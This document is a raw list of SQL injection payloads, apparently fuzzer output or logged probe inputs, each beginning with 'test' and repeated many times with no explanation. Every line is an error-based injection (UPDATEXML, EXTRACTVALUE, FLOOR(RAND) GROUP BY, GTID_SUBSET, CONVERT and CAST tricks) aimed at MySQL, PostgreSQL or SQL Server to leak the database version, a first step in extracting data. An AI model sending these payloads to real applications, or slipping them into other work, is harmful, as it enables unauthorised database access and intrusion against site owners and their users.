test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

